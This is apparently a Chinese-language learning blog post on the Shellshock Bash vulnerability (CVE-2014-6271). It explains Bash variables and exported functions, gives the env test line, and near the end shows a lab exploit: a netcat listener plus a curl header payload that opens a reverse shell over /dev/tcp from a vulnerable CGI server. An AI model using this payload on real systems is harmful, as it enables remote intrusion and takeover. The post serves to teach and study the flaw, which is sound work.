“破壳”是一个严重漏洞的别名,在Red HatCentOSUbuntu Fedora Amazon Linux OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用BashUnixLinuxMac OS X,而针对这些操作系统管理下的数据均存在高危威胁。

  漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTPOpenSSHDHCP

  那么什么是bash呢?

bashBourne-Again SHell)是一个为GNU计划编写的Unix shellbash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windowsPOSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

 

来总结下我学习到的知识。

一. bash shell变量:

 

 

echo命令:

echo"shellshock"

 

定义个变量然后再echo

wt7315="shellshock"

 echo $wt7315

结果如下:

wKioL1ecEvrzxqD4AAAy8dH8ZjA299.png-wh_50

我们现在可以试试开一个bash子进程来看一下我们能不能得到变量的值:

wt7315="shellshock"

echo $wt7315

shellshock

bash

echo $wt7315


wKioL1ecEyyiQtlmAAAzJaIEp9o263.png-wh_50



没有回显,我们不能够读出变量的值是因为我们开启了一个bash子进程,但变量中的值,仍存在父进程中。

bash环境变量:

当你开启一个shell会话时,一些变量已经准备好可供使用了,这些变量成为环境变量

当我们想在子进程中访问$gaba变量的话,我们可以使用export命令将变量变成环境变量。



wKiom1ecE0mjWlPlAAA36Y9tVJU337.png-wh_50

如上图所示,子进程可以访问环境变量。

 

 env | grep 'gaba'

wKiom1ecE22iq9spAAAY-6YeoHw131.png-wh_50



二.bash函数与环境变量


wKiom1ecE4mB72o5AAA85-CRido170.png-wh_50


建立一个名为x的函数,并将函数x存放在环境变量中,正如预期的那样,在子shell中仍可执行名为x的函数。

 

 

在看了很多原理之后,bash漏洞形成的原理可算理解了,简单的就是说:BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!(书读百遍其义自见,原理我读了一百遍)

三.相关指令

顺便来了解下两个指令:

ENV指令:

   ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了***进行PATH Hajaking的可能性

   ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

   ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

 

具体的env命令,可查看env的man手册和帮助。



wKioL1ecE7bR7ndoAAGcgbwOfBI506.png-wh_50

wKioL1ecE7bR0cetAAEl2Q_tA2Q753.png-wh_50



这是我们的测试语句:

env x='() { :;}; echo shellshocked' bash -c "echo test"

wKioL1ecE86DJNgeAAA69fZyBko313.png-wh_50


如果出现 `vulnerable` 和`this a test`则说明系统存在bash漏洞。

bash -c 就是用来执行string-commands(命令字符串),不管后面的字符串里是什么都会被当做shellcode来执行。bash -c "echo this is a test"在执行的时候存在一个环境变量x,而x呢等于 () { :;}; echo vulnerable ,而环境变量在使用前都会被初始化,那么  () { :;}; echo vulnerable 就自然而然的被执行了。 () { :;}; 定义了一个函数(function)并且它什么也不做,而后的 echo vulnerable 被解析后得到了执行权。当特殊的字符串变成环境变量后,环境变量又解析成函数,新的Bash进程在启动后又解析了环境变量并可以执行命令。

 

 

curl:

 是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

他的参数很多,这里简单的举几个例子。

-G/--get 以get的方式来发送数据

-H/--header < line >自定义头信息传递给服务器

-i/--include 输出时包括protocol头信息

-K/--config  指定的配置文件读取

 

 

nc:

 NetCat,它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

nc [选项] 主机名称  通信端口

常用参数说明:

-l 使用监听模式,管控传入的资料。

-p<通信端口> 设置本地主机使用的通信端口。

v 显示指令执行过程。

-w<超时秒数> 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

 

 

经过上面的测试,说明此debian存在bash漏洞,我使用了kai来利用此漏洞。

 

nc -lv -p 5555

wKioL1h_Fs7x8QCnAACAjRS4uOQ877.png



另外在开个终端,输入curl H 'x: () { :;}; /bin/bash i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是 () { :;}之间有空格)对于sgi-bin/status,可以先使用扫描工具,扫出存在破壳漏洞并且在cgi-bin目录下有一个可执行脚本,可以看到我们利用破壳漏洞得到了反向shell进入受害机。

 webserver常常将RefererUserAgentheader等参数作为环境变量的设置源

 服务器提供了CGI脚本,当 CGI scriptwebserver执行的时候,CGI Script会去调用Bash

 ***者可以通过开启了CGIhttpd服务器进行远程代码执行

wKiom1h_FouQUa2sAAE5SAXXkps308.png

wKiom1ecFBTQ1-19AAFPzJspxSw907.png-wh_50



然后我们就可以为所欲为的做你想做的事情了,我查看了当前所有的用户信息。

wKioL1ecFDHiYjt4AALC7OD-a-s650.png-wh_50


虽然利用了bash漏洞得到了权限,但是bash漏洞利用还是有条件的:

被***的bash存在漏洞

***者可以控制环境变量

新的bash进程被打开触发漏洞并执行命令

 

漏洞危害:

可以直接在Bash支持的Web CGI环境下远程执行任何命令。这也就使得一些路由器、堡垒机、×××等网络设备将会成为重灾区,另外各大Linux发行版和Mac OS X系统都受影响,甚至Android也会受到影响。


新手,多多包涵,欢迎各位一起交流学习!